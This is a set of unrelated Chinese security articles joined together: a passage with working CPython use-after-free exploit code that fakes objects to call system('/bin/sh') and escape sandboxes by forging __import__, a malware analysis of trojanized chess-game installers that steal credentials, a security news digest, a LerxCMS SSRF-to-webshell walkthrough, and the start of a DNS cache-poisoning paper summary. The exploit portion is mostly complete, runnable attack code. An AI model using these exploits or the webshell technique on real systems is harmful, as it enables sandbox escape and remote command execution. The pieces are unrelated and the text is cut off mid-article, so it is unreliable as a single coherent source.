4. 解析ELF文件头，获取PHT的首地址、PHT的个数、PHT每项的大小，进行遍历，找到p_type的值为PT_DYNAMIC(2)，获取到.dynamic的内存地址，，如果 **开启PIE** ，那么获取到的内存地址需要 **加上** 第2步获取到的 **程序基址** ；
5. 遍历.dynamic段，获取到重定位表(DT_JMPREL：23)，符号表(DT_SYMTAB：6)，字符串表(DT_STRTAB：5)，这里获取到的地址已经是绝对地址了，即使开启了PIE，也已经重定位好了。
6. 遍历重定位表，根据r_info的高4位获取在符号表中的索引，因为.dynamic中指向的重定位表的类型都是R_X86_64_JUMP_SLO；再根据符号表中的st_name去读取字符串表，找到名称为"system"，那么此时的重定位表的r_offset的值就是.got.plt['system']的地址。（PS：作者的exp中则是根据重定位表的偏移去读取的.got.plt表中的相应偏移，）
说明一下，第6步和作者的exp思路稍有不同，不同点如下：
* 作者的exp中则是根据重定位表的偏移去读取的.got.plt表中的相应偏移，我这认为重定位表的r_offset值就是了，作者不信任r_offset的原因我并不知道；
* 作者没有完全信任.got.plt['system']的值，如果存在PLT，则还去寻找了桩代码，但是ELF的延迟绑定，.got.plt['system']一开始存储的就是PLT桩代码，这一点作者不信任.got.plt['system']的原因我也并不知道；
但是我认为我的思路没有什么问题，因此精简了一下作者查找system函数地址的exp
PAGE_SIZE = 4096
SIZEOF_ELF64_SYM = 24
class Exploit:
def find_bin_base(self):
# Leak tp_dealloc pointer of PyLong_Type which points into the Python
# binary.
leak = self.leak(id(int), 32)
cpython_binary_ptr = u64(leak[24:32])
addr = (cpython_binary_ptr >> 12) << 12 # page align the address
# Work backwards in pages until we find the start of the binary
for i in range(10000):
nxt = self.leak(addr, 4)
if nxt == b'\x7fELF':
return addr
addr -= PAGE_SIZE
return None
def find_system(self):
"""
Return either the address of the system PLT stub, or the address of
system itself if the binary is full RELRO.
"""
bin_base = self.find_bin_base()
data = self.leak(bin_base, 0x1000)
# Parse ELF header
type = u16(data[0x10:0x12])
is_pie = type == 3
phoff = u64(data[0x20:0x28])
phentsize = u16(data[0x36:0x38])
phnum = u16(data[0x38:0x3a])
# Find .dynamic section
dynamic = None
for i in range(phnum):
hdr_off = phoff + phentsize*i
hdr = data[hdr_off:hdr_off + phentsize]
p_type = u32(hdr[0x0:0x4])
p_vaddr = u64(hdr[0x10:0x18])
if p_type == 2: # PT_DYNAMIC
dynamic = p_vaddr
if dynamic is None:
print("[!!] Couldn't find PT_DYNAMIC section")
return None
if is_pie:
dynamic += bin_base
print('[*] .dynamic: {}'.format(hex(dynamic)))
dynamic_data = e.leak(dynamic, 500)
# Parse the Elf64_Dyn entries, extracting what we need
i = 0
symtab = None
strtab = None
rela = None
while True:
d_tag = u64(dynamic_data[i*16:i*16 + 8])
d_un = u64(dynamic_data[i*16 + 8:i*16 + 16])
if d_tag == 0 and d_un == 0:
break
elif d_tag == 5: # DT_STRTAB
strtab = d_un
elif d_tag == 6: # DT_SYMTAB
symtab = d_un
elif d_tag == 23: # DT_JMPREL
rela = d_un
i += 1
if strtab is None or symtab is None or rela is None:
print("[!!] Missing required info in .dynamic")
return None
print('[*] DT_SYMTAB: {}'.format(hex(symtab)))
print('[*] DT_STRTAB: {}'.format(hex(strtab)))
print('[*] DT_RELA: {}'.format(hex(rela)))
# Walk the relocation table, for each entry we read the relevant symtab
# entry and then strtab entry to get the function name.
rela_data = e.leak(rela, 0x1000)
i = 0
while True:
off = i * 24
r_info = u64(rela_data[off + 8:off + 16])
symtab_idx = r_info >> 32 # ELF64_R_SYM
symtab_entry = e.leak(symtab + symtab_idx * SIZEOF_ELF64_SYM, SIZEOF_ELF64_SYM)
strtab_off = u32(symtab_entry[0:4])
name = e.leak(strtab + strtab_off, 6)
if name == b'system':
print('[*] Found system at rela index {}'.format(i))
system_got = u64(rela_data[off:off + 8])
break
i += 1
func = u64(self.leak(system_got, 8))
print('[*] system: {}'.format(hex(func)))
return func
e = Exploit()
system = e.find_system()
### 4.2.3 执行函数
当有了system函数的地址后，应该如何控制程序流程呢？答案依然是伪造，这里可以伪造任意类型的对象obj，并且伪造该对象的类型对象typeobj，obj->ob_type
= &typeobj，根据1.2
PyTypeObject的描述，类对象中有函数指针，覆盖为system函数地址，比如`tp_getattr`，然后执行obj.aaa，就会去执行tp_getattr指向的函数了。
还有一个需要解决的是传参问题，Python在调用对象方法时，第一个参数是对象本身，是一个PyObject _，作者利用这点，将obj->ob_refcnt的值设置为"/bin/sh"，这样第一个参数就相当于是char
_传递给system了，在64位下，ob_refcnt的长度是8字节，而`/bin/sh\x00`的长度也正好为8，没有超过，否则就覆盖了obj->ob_type的值了。（PS:在调用对象方法时，会使得obj->ob_refcnt+1，所以第一个字节"/"需要减1，也就是`\x2e`了）
作者的exp如下
class Exploit:
def set_rip(self, addr, obj_refcount=0x10):
"""Set rip by using a fake object and associated type object."""
# Fake type object
type_obj = flat(
p64(0xac1dc0de), # refcount
b'X'*0x68, # padding
p64(addr)*100, # vtable funcs
)
self.no_gc.append(type_obj)
# Fake PyObject
data = flat(
p64(obj_refcount), # refcount
p64(id(type_obj)), # pointer to fake type object
)
self.no_gc.append(data)
# The bytes data starts at offset 32 in the object
self.freed_buffer[0] = id(data) + 32
try:
# Now we trigger it. This calls tp_getattro on our fake type object
self.fake_objs[0].trigger
except:
# Avoid messy error output when we exit our shell
pass
e.set_rip(system, obj_refcount=u64(b'\x2ebin/sh\x00'))
## 4.3 彩蛋
UAF漏洞是需要io.RawIOBase，因此需要io模块，但作者没有使用import，而是用`io=open.__self__`替代。
open. **self** 对应的io模块其实是`_io`，这个是Python内置的模块，而`import
io`导入的io模块是`PYTHON_HOME\lib\io.py`，这个io其实就是对`_io`模块的封装，io.RawIOBase就是对_io._RawIOBase的封装了。
那么`open.__self__`为什么就是`_io`模块呢，这就是本篇彩蛋的内容了。
open是`PyCFunctionObject`结构体对象。
_io是`PyModuleObject`结构体对象。
### 4.3.1 **self** 是什么
根据源码，可以知道 **self** 是`PyCFunctionObject`的`m_self`，但是这个值哪儿来呢，需要去看一下`_io`模块的初始化。
//3.10.4
//Include\cpython\methodobject.h
typedef struct {
PyObject_HEAD
PyMethodDef *m_ml; /* Description of the C function to call */
PyObject *m_self; /* Passed as 'self' arg to the C func, can be NULL */
PyObject *m_module; /* The __module__ attribute, can be anything */
PyObject *m_weakreflist; /* List of weak references */
vectorcallfunc vectorcall;
} PyCFunctionObject;
#define PyCFunction_GET_SELF(func) \
(((PyCFunctionObject *)func) -> m_ml -> ml_flags & METH_STATIC ? \
NULL : ((PyCFunctionObject *)func) -> m_self)
//Objects\methodobject.c
static PyObject *
meth_get__self__(PyCFunctionObject *m, void *closure)
{
PyObject *self;
self = PyCFunction_GET_SELF(m);
if (self == NULL)
self = Py_None;
Py_INCREF(self);
return self;
}
static PyGetSetDef meth_getsets [] = {
{"__doc__", (getter)meth_get__doc__, NULL, NULL},
{"__name__", (getter)meth_get__name__, NULL, NULL},
{"__qualname__", (getter)meth_get__qualname__, NULL, NULL},
{"__self__", (getter)meth_get__self__, NULL, NULL},
{"__text_signature__", (getter)meth_get__text_signature__, NULL, NULL},
{0}
};
### 4.3.2 内置_io模块的初始化
看下`PyModuleObject`结构体的定义。
//3.10.4
//Include\internal\pycore_moduleobject.h
typedef struct {
PyObject_HEAD
PyObject *md_dict;
struct PyModuleDef *md_def;
void *md_state;
PyObject *md_weaklist;
// for logging purposes after md_dict is cleared
PyObject *md_name;
} PyModuleObject;
`PyModuleObject`和`PyCFunctionObject`都有一个描述自身的结构体，分别是`PyModuleDef`、`PyMethodDef`。
//3.10.4
//Include\moduleobject.h
typedef struct PyModuleDef{
PyModuleDef_Base m_base;
const char* m_name;
const char* m_doc;
Py_ssize_t m_size;
PyMethodDef *m_methods;
struct PyModuleDef_Slot* m_slots;
traverseproc m_traverse;
inquiry m_clear;
freefunc m_free;
} PyModuleDef;
//Include\methodobject.h
struct PyMethodDef {
const char *ml_name; /* The name of the built-in function/method */
PyCFunction ml_meth; /* The C function that implements it */
int ml_flags; /* Combination of METH_xxx flags, which mostly
describe the args expected by the C func */
const char *ml_doc; /* The __doc__ attribute, or NULL */
};
typedef struct PyMethodDef PyMethodDef;
基本结构体说完了，来看`_io`模块的初始化函数，`_PyIO_Module`是_io的描述，里面包含了`PyMethodDef
module_methods`，其中就有`open`方法的描述`_IO_OPEN_METHODDEF`。
//3.10.4
//Modules\_io\_iomodule.c
PyMODINIT_FUNC
PyInit__io(void)
{
PyObject *m = PyModule_Create(&_PyIO_Module);
......
}
//Include\modsupport.h
#ifdef Py_LIMITED_API
#define PyModule_Create(module) \
PyModule_Create2(module, PYTHON_ABI_VERSION)
#else
#define PyModule_Create(module) \
PyModule_Create2(module, PYTHON_API_VERSION)
#endif
//Modules\_io\clinic\_iomodule.c.h
#define _IO_OPEN_METHODDEF \
{"open", (PyCFunction)(void(*)(void))_io_open, METH_FASTCALL|METH_KEYWORDS, _io_open__doc__},
//Modules\_io\_iomodule.c
static PyMethodDef module_methods[] = {
_IO_OPEN_METHODDEF
_IO_TEXT_ENCODING_METHODDEF
_IO_OPEN_CODE_METHODDEF
{NULL, NULL}
};
struct PyModuleDef _PyIO_Module = {
PyModuleDef_HEAD_INIT,
"io",
module_doc,
sizeof(_PyIO_State),
module_methods,
NULL,
iomodule_traverse,
iomodule_clear,
(freefunc)iomodule_free,
};
现在来看下具体的`PyModule_Create2`函数：
* 在`_PyModule_CreateInitialized`函数中根据模块名称，使用`PyModule_New`创建了一个模块对象`m`；
* 调用`PyModule_AddFunctions`为`m`添加方法，`module->m_methods`则是方法描述数组，其中就有open方法描述`_IO_OPEN_METHODDEF`；
* 在函数`_add_methods_to_object`中会遍历模块包含的方法描述符数组，为每个`PyMethodDef`对象，调用`PyCFunction_NewEx`来创建一个`PyCFunctionObject`对象，传入的第2个参数module就是`_io`模块对象了，第3个参数是表示_io模块的名称。
//Objects\moduleobject.c
PyObject *
PyModule_Create2(struct PyModuleDef* module, int module_api_version)
{
if (!_PyImport_IsInitialized(_PyInterpreterState_GET())) {
PyErr_SetString(PyExc_SystemError,
"Python import machinery not initialized");
return NULL;
}
return _PyModule_CreateInitialized(module, module_api_version);
}
PyObject *
_PyModule_CreateInitialized(struct PyModuleDef* module, int module_api_version)
{
const char* name;
PyModuleObject *m;
.....
name = module->m_name;
......
if ((m = (PyModuleObject*)PyModule_New(name)) == NULL)
return NULL;
......
if (module->m_methods != NULL) {
if (PyModule_AddFunctions((PyObject *) m, module->m_methods) != 0) {
Py_DECREF(m);
return NULL;
}
}
......
}
int
PyModule_AddFunctions(PyObject *m, PyMethodDef *functions)
{
int res;
PyObject *name = PyModule_GetNameObject(m);
if (name == NULL) {
return -1;
}
res = _add_methods_to_object(m, name, functions);
Py_DECREF(name);
return res;
}
static int
_add_methods_to_object(PyObject *module, PyObject *name, PyMethodDef *functions)
{
PyObject *func;
PyMethodDef *fdef;
for (fdef = functions; fdef->ml_name != NULL; fdef++) {
if ((fdef->ml_flags & METH_CLASS) ||
(fdef->ml_flags & METH_STATIC)) {
PyErr_SetString(PyExc_ValueError,
"module functions cannot set"
" METH_CLASS or METH_STATIC");
return -1;
}
func = PyCFunction_NewEx(fdef, (PyObject*)module, name);
if (func == NULL) {
return -1;
}
if (PyObject_SetAttrString(module, fdef->ml_name, func) != 0) {
Py_DECREF(func);
return -1;
}
Py_DECREF(func);
}
return 0;
}
再看下PyCFunction_NewEx，第二个参数就是`SELF`，赋值给了`m_self`，所以也就解答了`open.__self__`是`_io`模块对象的原因了。
//Include\methodobject.h
#define PyCFunction_NewEx(ML, SELF, MOD) PyCMethod_New((ML), (SELF), (MOD), NULL)
//Objects\methodobject.c
PyObject *
PyCMethod_New(PyMethodDef *ml, PyObject *self, PyObject *module, PyTypeObject *cls)
{
/* Figure out correct vectorcall function to use */
vectorcallfunc vectorcall;
switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS |
METH_O | METH_KEYWORDS | METH_METHOD))
{
case METH_VARARGS:
case METH_VARARGS | METH_KEYWORDS:
/* For METH_VARARGS functions, it's more efficient to use tp_call
* instead of vectorcall. */
vectorcall = NULL;
break;
case METH_FASTCALL:
vectorcall = cfunction_vectorcall_FASTCALL;
break;
case METH_FASTCALL | METH_KEYWORDS:
vectorcall = cfunction_vectorcall_FASTCALL_KEYWORDS;
break;
case METH_NOARGS:
vectorcall = cfunction_vectorcall_NOARGS;
break;
case METH_O:
vectorcall = cfunction_vectorcall_O;
break;
case METH_METHOD | METH_FASTCALL | METH_KEYWORDS:
vectorcall = cfunction_vectorcall_FASTCALL_KEYWORDS_METHOD;
break;
default:
PyErr_Format(PyExc_SystemError,
"%s() method: bad call flags", ml->ml_name);
return NULL;
}
PyCFunctionObject *op = NULL;
if (ml->ml_flags & METH_METHOD) {
if (!cls) {
PyErr_SetString(PyExc_SystemError,
"attempting to create PyCMethod with a METH_METHOD "
"flag but no class");
return NULL;
}
PyCMethodObject *om = PyObject_GC_New(PyCMethodObject, &PyCMethod_Type);
if (om == NULL) {
return NULL;
}
Py_INCREF(cls);
om->mm_class = cls;
op = (PyCFunctionObject *)om;
} else {
if (cls) {
PyErr_SetString(PyExc_SystemError,
"attempting to create PyCFunction with class "
"but no METH_METHOD flag");
return NULL;
}
op = PyObject_GC_New(PyCFunctionObject, &PyCFunction_Type);
if (op == NULL) {
return NULL;
}
}
op->m_weakreflist = NULL;
op->m_ml = ml;
Py_XINCREF(self);
op->m_self = self;
Py_XINCREF(module);
op->m_module = module;
op->vectorcall = vectorcall;
_PyObject_GC_TRACK(op);
return (PyObject *)op;
}
# 0x05 其他思路：伪造 **import**
在学习彩蛋的过程中想到，python中自带的`__builtins__`也是一个PyModuleObject，而`__import__`则是`__builtins__`模块的方法，因此通过`__builtins__`模块的PyModuleObject->md_def->m_methods去找到`__import__`的方法描述，再伪造一个`__import__`的`PyCFunctionObject`结构体数据，最后利用memoryview指向该伪造数据，通过list对象即可使用`__import__`方法了。
## 5.1 寻找 **import** 的方法描述
按照PyModuleObject->md_def->m_methods，可以遍历PyMethodDef，读取PyMethodDef->ml_name，来判断是不是
**import** 。（PS:p是原exp中的Exploit对象）
def find_import_def(p):
data = p.leak(id(__builtins__),0x40)
md_def = data[0x18:0x20]
md_def_addr = u64(md_def)
data = p.leak(md_def_addr,0x48)
m_methods = data[0x40:0x48]
m_methods_addr = u64(m_methods)
PyMethodDef_size = 0x20
i = 0
import_PyMethodDef_addr = b""
while True:
pyMethodDef = p.leak(m_methods_addr+i*PyMethodDef_size,0x20)
ml_name = pyMethodDef[0:8]
ml_name_addr = u64(ml_name)
if ml_name_addr != 0:
name = p.leak(ml_name_addr,10)
if name == b'__import__':
import_PyMethodDef_addr = m_methods_addr+i*PyMethodDef_size
return import_PyMethodDef_addr
else:
break
i = i+1
return import_PyMethodDef_addr
## 5.2 伪造 **import** 方法对象
ob_type可以通过内置方法的类型来获取，id、dir、open、len都可以，m_ml则是找到的 **import**
的方法描述地址，m_self根据彩蛋知道就是`__builtins__`模块对象，其他属性赋值为0可以使用。
def fake_import(cmd):
p = Exploit()
import_PyMethodDef_addr = find_import_def(p)
byte_array_obj = flat(
p64(10), # refcount
p64(id(type(len))), # type obj other func like id、dir、open、len
p64(import_PyMethodDef_addr), # PyMethodDef *m_ml 0x10
p64(id(__builtins__)), # PyObject *m_self 0x18
p64(0x0), # PyObject *m_module 0x20
p64(0x0), # PyObject *m_weakreflist 0x28
p64(0x0), # vectorcallfunc vectorcall 0x30
)
p.freed_buffer[0] = id(byte_array_obj)+32
os = p.fake_objs[0]("os")
os.system(cmd)
## 5.3 总结
漏洞可能只能在CTF中Python沙箱了，利用该漏洞可以执行命令，但是条件是open方法没有被删除，但open一般会被作为危险方法删除，所以这漏洞实在是不知道有多好的利用方式，所以就权当好玩把。
附上最终的exp
io = open.__self__
def uN(b):
out = 0
for i in range(len(b)):
out |= (b[i] & 0xff) << i*8
return out
def u64(x):
assert len(x) == 8
return uN(x)
def u32(x):
assert len(x) == 4
return uN(x)
def u16(x):
assert len(x) == 2
return uN(x)
def p64(x):
s = bytearray()
while x > 0:
s.append(x & 0xff)
x >>= 8
return s.ljust(8, b'\0')
def flat(*args):
return b''.join(args)
class File(io._RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
class Exploit:
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10), # refcount
p64(id(bytearray)), # type obj
p64(size), # ob_size
p64(size), # ob_alloc
p64(addr), # ob_bytes
p64(addr), # ob_start
p64(0x0), # ob_exports
)
self.no_gc.append(byte_array_obj) # stop gc from freeing after return
self.freed_buffer[0] = id(byte_array_obj) + 32
def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]
def __init__(self):
# Trigger bug
global view
f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast('P')
self.fake_objs = [None] * len(view)
self.freed_buffer = view
self.no_gc = []
def print_hex(data):
print(hex(data))
def find_import_def(p):
data = p.leak(id(__builtins__),0x40)
md_def = data[0x18:0x20]
md_def_addr = u64(md_def)
data = p.leak(md_def_addr,0x48)
m_methods = data[0x40:0x48]
m_methods_addr = u64(m_methods)
PyMethodDef_size = 0x20
i = 0
import_PyMethodDef_addr = b""
while True:
pyMethodDef = p.leak(m_methods_addr+i*PyMethodDef_size,0x20)
ml_name = pyMethodDef[0:8]
ml_name_addr = u64(ml_name)
if ml_name_addr != 0:
name = p.leak(ml_name_addr,10)
if name == b'__import__':
import_PyMethodDef_addr = m_methods_addr+i*PyMethodDef_size
return import_PyMethodDef_addr
else:
break
i = i+1
return import_PyMethodDef_addr
def fake_import(cmd):
p = Exploit()
import_PyMethodDef_addr = find_import_def(p)
byte_array_obj = flat(
p64(10), # refcount
p64(id(type(len))), # type obj other func like id、dir、len
p64(import_PyMethodDef_addr), # PyMethodDef *m_ml 0x10
p64(id(__builtins__)), # PyObject *m_self 0x18
p64(0x0), # PyObject *m_module 0x20
p64(0x0), # PyObject *m_weakreflist 0x28
p64(0x0), # vectorcallfunc vectorcall 0x30
)
p.freed_buffer[0] = id(byte_array_obj)+32
os = p.fake_objs[0]("os")
os.system(cmd)
del __builtins__.__dict__['__import__']
fake_import("/bin/sh") | 社区文章 |
# 躁动的棋牌游戏们
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
原文地址：<http://blogs.360.cn/360safe/2015/11/30/restless_chess_games/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
想来从1978年的《冒险岛》问世PC平台至今，电脑游戏来到这个世界上已经快有40个年头了。而如今受到页游和手游的冲击，传统PC游戏已经风光不再。但有一类游戏却在PC平台上始终坚挺，这就是我们今天的主角——棋牌游戏。个中原因不是我们这里需要深究的，然而这种异常的坚挺却带来的必然是树大招风——各种木马作者会纷纷瞄准这个市场，而这才是我们需要关注的焦点。
####
**0x00 自我伪装**
木马作者采取竞价排名推广，使虚假游戏中心网页在搜索结果中排在前面(一般情况下我们会认为排在第一个位置的就是官网了，但是这种虚假游戏中心网页往往前面几个都是假的。虽然该网址后面带有实名认证，但是这里提醒一下广大用户，在利用搜索的时候，带有实名认定的也不一定是没有问题的。)木马作者还高度模仿官网网址，制造一个虚假地址，
[](https://blogs.360.cn/360safe/files/2015/11/1.png)
图1
####
**0x01 混淆视听**
带马网站的整个页面布局和官方网站的在视觉效果上是“一模一样”，不注意的情况下我们很容易就中招了。
[](https://blogs.360.cn/360safe/files/2015/11/2.png)
图2
####
**0x02 自我隐藏**
经过分析比较后发现，从非官网下载下来的程序功能齐全下载回来的安装包除了多了一个dll以外其它一切都没做过改变。程序拥有正常程序的全部功能。木马作者将原来的WHSocket.dll文件重新命名为oriWHSocket.dll
,然后将自己的带有恶意行为的dll命名为 WHSocket
[](https://blogs.360.cn/360safe/files/2015/11/%E6%BB%B4%E6%BA%9C%E6%BA%9C.png)
木马文件WHSocket通过导出了与原WHSocket中相同的函数，使带有木马的游戏能和官网下载的游戏一样、图4还展示了WHSocket.dll的劫持手法
[](https://blogs.360.cn/360safe/files/2015/11/4.png)
[](https://blogs.360.cn/360safe/files/2015/11/5.png)
**0x03 WHSocket.dll分析**
1\. 加壳保护
该木马通过劫持官网游戏中心的正常WHSocket.dll程序启动，原文件在原安装包中只有28kb大小，但是在带有木马的安装包中所占大小为1.9MB。分析时发现作者自己写了一个壳给文件加上。这里的目的就是逃避杀毒软件的查杀了。
[](https://blogs.360.cn/360safe/files/2015/11/3.png)
2\. 获取QQ号信息
该dll通过获取QQ的特有的类名
“5B3838F5-0C81-46D9-A4C0-6EA28CA3E942″来获取一段带有我们QQ号的字符串,格式形如:”qqexchangewnd_shortcut_prefix_QQ号”，在获取到字符串后，木马作者以”prefix_”
为界限，通过字符串的复制获取到QQ号
[](https://blogs.360.cn/360safe/files/2015/11/QQ-1.png)
下面展示了为什么通过”5B3838F5-0C81-46D9-A4C0-6EA28CA3E942″类就可以获取到我们的QQ号。因为标题就是╮(╯▽╰)╭
[](https://blogs.360.cn/360safe/files/2015/11/QQ-2.png)
下面这段代码就展示如何获得QQ号的过程
[](https://blogs.360.cn/360safe/files/2015/11/6.png)
3\. 获取被控端外网地址
从下图可以知道木马作者是通过建立TCP连接，来传送数据。
[](https://blogs.360.cn/360safe/files/2015/11/IP-1.png)
木马作者将接受数据的服务器地址以十六进制的形式写在恶意dll中，通过讲十六进制数据转正成字符串获取到服务器地址
[](https://blogs.360.cn/360safe/files/2015/11/IP-2.png)
然后通过与服务器进行数据交互，从而获取到被控制端的外网IP地址。
[](https://blogs.360.cn/360safe/files/2015/11/IP-3.png)
[](https://blogs.360.cn/360safe/files/2015/11/IP-4.png)
4\. 获取游戏用户名和密码
通过查找游戏的主页面的类”88369game”来判断我们输入的用户名是否有效。如果找到游戏的主界面恶意dll才会发送用户的游戏账号和密码，如果没有查找到游戏的界面就不会发送
[](https://blogs.360.cn/360safe/files/2015/11/MI-1.png)
[](https://blogs.360.cn/360safe/files/2015/11/MI-2.png)
木马作者通过使用键盘记录来获取到我们输入的用户名和密码
[](https://blogs.360.cn/360safe/files/2015/11/MI-3.png)
抓包到发送被控端的外网地址和我们的用户名还有密码。((o(╯□╰)o，可是密码居然是明文啊)
[](https://blogs.360.cn/360safe/files/2015/11/9.png)
6\. 远控
和远程控制端建立
[](https://blogs.360.cn/360safe/files/2015/11/L.png)
[](https://blogs.360.cn/360safe/files/2015/11/LL.png)
连接远程桌面
[](https://blogs.360.cn/360safe/files/2015/11/LLL.png)
**0x04 总结**
棋牌游戏这类木马不止是这个88369，还有很多类似的游戏被同过以上相同或者类似的手段进行处理了，比如前面我们发过的一篇报道集结号游戏的一篇文章，以及辰龙游戏、斗地主、三国赛马、港式五张、对杀妞妞、捕鱼达人等等游戏。大部分都是通过劫持dll，一般用来劫持的dll都是具有获取游戏玩家的用户名和密码以及后门功能。有了后门他想做的事情也就很多了。
**0x05 防范措施**
1.不要访问陌生网站，遇到360拦截的网站一定要立刻关闭。
2.从搜索里选择结果，一定要注意是否带有官网认证。
3.尽量选择大厂商的游戏，无论是平台可靠性还是安全防护措施都会更有保障
4.注意安全软件的使用，经常做安全检测是个好习惯。
Posted in [样本分析](http://blogs.360.cn/360safe/category/virus/). | 社区文章 |
# 【知识】10月27日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： **微软公布其开源扫描工具Sonar** 、 ** ** **jQuery官网被黑，官方回应莫慌，库很安全****** 、
**卡巴斯基：黑客通过有后门的Office偷取NSA工具** 、 ** **Brida高级移动渗透测试**** 、 **
**BlueBorne演示中的POC**** 、魔术帽中的兔子：火眼实验室坏兔报告。**
****
**资讯类：**
微软公布其开源扫描工具Sonar
<http://securityaffairs.co/wordpress/64796/hacking/micorsoft-sonar-tool.html>
<https://github.com/sonarwhal/sonar>
jQuery官网被黑，官方回应莫慌，库很安全
<https://thehackernews.com/2017/10/jquery-hacked.html>
卡巴斯基：黑客通过有后门的Office偷取NSA工具
<http://securityaffairs.co/wordpress/64758/intelligence/kaspersky-nsa-exploits.html>
**技术类：**
SAML认证绕过
<http://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html>
Brida高级移动渗透测试
<https://techblog.mediaservice.net/wp-content/uploads/2017/10/HackInBo-2017-Winter-Edition-Federico-Dotta-Advanced-mobile-penetration-testing-with-Brida-141017.pdf>
BlueBorne演示中的POC
<https://github.com/ArmisSecurity/blueborne>
吉尔吉斯斯坦选举网站分析
<https://www.qurium.org/alerts/kyrgyzstan/kyrgyzstan-election>
基于欺诈的检测技术
<https://github.com/0x4D31/deception-as-detection>
魔术帽中的兔子：火眼实验室坏兔报告
<https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html>
QUIC传输协议介绍
<https://blog.acolyer.org/2017/10/26/the-quic-transport-protocol-design-and-internet-scale-deployment/>
CVE-2017-5097 Chrome漏洞
<https://bugs.chromium.org/p/chromium/issues/detail?id=740789>
社交应用Sarahah分析
<https://scotthelme.co.uk/sarahah/> | 社区文章 |
## 漏洞简介
LerxCMS最新版本后台在加载模板时存在SSRF漏洞，通过深入利用该漏洞可以通过远程加载指定的模板文件来Getshell~
## 漏洞分析
文件位置：lerx_v6.3.0\WebContent\WEB-INF\views\jsp\templet\portal\remote.jsp
漏洞描述：下载时未对来源做检查，只要URL非空即可，故而存在SSRF：
lerx_v6.3.0\src\com\lerx\handlers\TempletMainPortalHandler.java
之后初始化相关设置，并连接提供的URL下载文件,此处的template的路径被初始化为：templates/portal
之后对zip压缩包进行解压，并通过for循环遍历读取zip中的文件并赋值到templetPortalDir目录下，也就是templates/portal目录，之后还会进行一次可读权限赋予操作：
在以上整个过程中，未对url的请求源做安全检查存在SSRF，同时由于模板如果是zip文件则会对其进行一次解压缩操作，故而攻击者可以伪造模板下载服务，之后下载存在shell.jsp文件的压缩包并解压到templates/portal目录，从而成功写入shell到目标站点~
## 漏洞复现
首先，在本地将冰蝎提供的shell.jsp打包为zip文件，同时使用python开启一个simpleHTTP服务，来模拟攻击者远程主机提供模板下载服务：
之后使用管理账号lerx/ilovelerx登陆后台，进入到模板页面，选择模板加载：
之后选择默认模板
之后点击获取，同时使用burpsuite抓包：
之后修改url为攻击者主机提供的下载服务对应的地址：
之后释放请求数据包，在攻击者提供的下载服务端成功接受到请求，可见存在SSRF：
之后在服务器端成功上载shell.jsp文件(我们的模板为shell.zip，上载过程中会进行解压缩操作将我们的shell.jsp木马文件解压到templates/portal目录目录下面)：
之后使用冰蝎进行连接：
连接成功：
执行命令：
## 安全建议
模板有特定域名下的服务提供，在下载模板时对请求域名做安全检查~ | 社区文章 |
# 针对DNS转发设备的缓存投毒攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Xiaofeng Zheng, Chaoyi Lu, Jian Peng, Qiushi Yang, Dongjie Zhou,
Baojun Liu, Keyu Man, Shuang Hao, Haixin Duan, Zhiyun Qian，文章来源：usenix.org
原文地址：<https://www.usenix.org/system/files/sec20-zheng.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 1 前言
前些时间刚好看到一些缓存投毒相关的知识，搜了些资料，发现了安全顶会USENIX Security 2020上收录了一篇关于DNS缓存投毒的文章：Poison
Over Troubled Forwarders: A Cache Poisoning Attack Targeting DNS Forwarding
Devices。文中介绍了一种新型的针对DNS Forwarder也就是DNS Forwarder的缓存投毒攻击。通过这种攻击方式，攻击者可以向DNS
Forwarder中注入任意的受害domain，将用户指引到恶意站点，并且可以规避目前的缓存投毒防御措施。该项研究的初期成果就曾在GeekPwn
2018上现场展示过，通过路由器上的缓存投毒，劫持了赛场上的无线路由器。
## 2 背景知识
首先稍微介绍下背景知识。
### 2.1 DNS解析传统架构
传统的DNS解析主要涉及Stub Resolver（存根解析器）、Recursive Resolver（递归解析器）和Authoritative
Resolver（权威域名解析器）。
权威域名解析器能够从自己的数据满足查询，而不需要引用其他来源，即能够给出DNS查询请求的权威应答，递归解析器则是通过询问其他域名服务器获取答案，递归解析器最后能够权威域名解析器得到查询响应。
根据DNS协议的初始标准，当域名需要解析时，DNS客户端向递归解析器发送查询请求，递归解析器会从权威域名解析获取答案，然后将结果返回给客户端。
### 2.2 IP数据包分片
IP（Internet
Protocal）是TCP/IP协议族中的核心协议，所有TCP、UDP和ICMP等数据报都是通过IP数据报进行传输。互联网协议允许IP数据包分片，当数据包比链路最大传输单元（MTU）大的时候，就会被分解为很多的小分片，以便大数据包能够在链路上传输。
被分片的IP数据包是通过IP首部的一些字段进行重新组装的。这些字段有4个，首先是Identification位，简称为IPID，是IP数据包的标识字段，这些标识字段都是一个单一值，这个值在分片的时候被复制到每一个分片中。
DF(Don’t Fragment)是不分片位，置为1就表示不会对数据包进行分片操作。MF(More
Fragment)是更多的分片位，除了最后一片以外，其他每个组成数据包的分片都要把这个位置为1。Fragment
Offset是当前数据包分片距离原始数据包开始处的位置，偏移的字节数是字节乘以8。其中最重要的是IPID，后面论文中会用到这个标志位信息。
## 3 DNS缓存投毒历史
此前的DNS缓存攻击主要是针对递归解析器的。主要有两种方式：
### 3.1 伪造攻击
伪造攻击（Forging
Attacks）的目的是制造一个恶意DNS响应，并欺骗递归解析器去接受它。当DNS响应数据包中的一些字段和DNS请求数据包中的字段相匹配时，DNS响应数据包就会被解析器所接受，这些字段是：
> Question Section 查询问题
> DNS transaction ID 会话标识
> source/destination addresses 源地址/目标地址
> port numbers 端口号
如果攻击者在经过身份验证的响应到达之前用正确的metadata伪造DNS响应，那么解析器就会接受该伪造的响应，攻击成功。攻击者要在真正的响应包返回之前，迅速发出多个伪造的响应包，以便让递归解析器接受其中某一个响应包，如果成功，那真正的相应包就会被丢弃。
